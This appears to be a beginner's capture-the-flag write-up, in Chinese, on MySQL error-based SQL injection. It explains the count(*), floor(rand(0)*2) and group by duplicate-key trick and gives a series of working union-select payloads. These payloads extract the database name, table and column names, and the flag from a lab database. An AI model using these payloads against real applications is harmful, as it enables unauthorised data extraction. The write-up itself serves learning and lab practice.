在经历了整数型注入和数字注入后自信满满的打开了报错注入,结果不回显正确内容,只回显正确或错误的情况让我无从下手,没办法,身为小白只能继续去找资料学习一下如何做这种题目了
学了一会儿,发现有很多办法,但我学的是最简单的一种办法,其他办法以后在实践中慢慢的学习
这个方法利用的是count(),rand(),floor(),group by()这几个函数的组合来利用报错信息出来我们需要查询的内容
count():返回匹配指定条件的行数。count(*)返回表中的记录数(不添加的话会出现列不对应的情况,可以试试
rand():随机取0-1中间的数字,但是给他一个参数0后,再配合floor函数可以发现出来的数是固定的,这就是这个方法报错的核心
floor():向下取整,去掉小数部分
group by:建立一个表来查询所需要的东西
count():返回匹配指定条件的行数。count(*)函数返回表中的记录数
这个方法的payload格式为:1 union select count(*),concat((select语句),floor(rand(0)*2)) as x from information_schema.columns group by x;
其中count函数作用是连接里面的字符串
floor(rand(0)*2)=0110110(就是因为这个加了0参数发现是固定的)
报错原理:rand函数在查询的时候会执行一下,插入的时候又会执行一次;group by x 先建立一个虚拟表格,用于分组
第一次查询rand语句是0,然后发现里面没有,就准备插入,就当要插入的时候rand()又会执行一次变成1,便插入了1;第二次查询rand语句是1,发现表里有1就会直接次数加1;第三次查询rand语句是0,表里没有0这个数据,便会进行插入,就当插入的时候执行rand()变成了1;因此错误就来了,1在虚拟表格里已经存在,你又要插入一个1,因为重复存在,就会报错哪个key有问题,这样我们报错注入就可以利用这个来获取我们需要的内容
1 union select count(*),concat((select database()),floor(rand(0)*2)) as x from information_schema.columns group by x
可以看到我们查询数据库databse(),报错显示重复录入sqli1到group_key里,根据报错内容来获得我们所需要的信息,接下来我们只需要改变select语句即可,不需要对其他语句有任何变化,按到整数或数字注入那样查询即可
到这里发现一个错误,超过了一行,突然想起忘记使用group_concat函数来把多个数据联合成一行输出了
结果查询正确,为啥???后面我在想既然我们是利用floor(rand(0)*2)这个随机数固定的值一个一个查询插入的,如果我用group_concat直接一行输出的化,那就不会存在后面的插入时重复报错了,所以我们这里要用limit来一个个看
1 union select count(*),concat((select table_name from information_schema.tables where table_schema='sqli' limit 1,1),floor(rand(0)*2)) as x from information_schema.columns group by x
经过limit 0,1后查询1,1可以发现有一个叫做flag(这里不是flag1,后面那个1是随机数出来的,切记!!)的表,便顺藤摸瓜下去,看看里面的字段
1 union select count(*),concat((select column_name from information_schema.columns where table_name='flag' ),floor(rand(0)*2)) as x from information_schema.columns group by x
发现还是叫做flag,我们便可以查询字段数据信息了
1 union select count(*),concat((select flag from sqli.flag),floor(rand(0)*2)) as x from information_schema.columns group by x
唉,做完后发现自己不懂得好多啊,不熟悉也不明白透彻,加油吧少年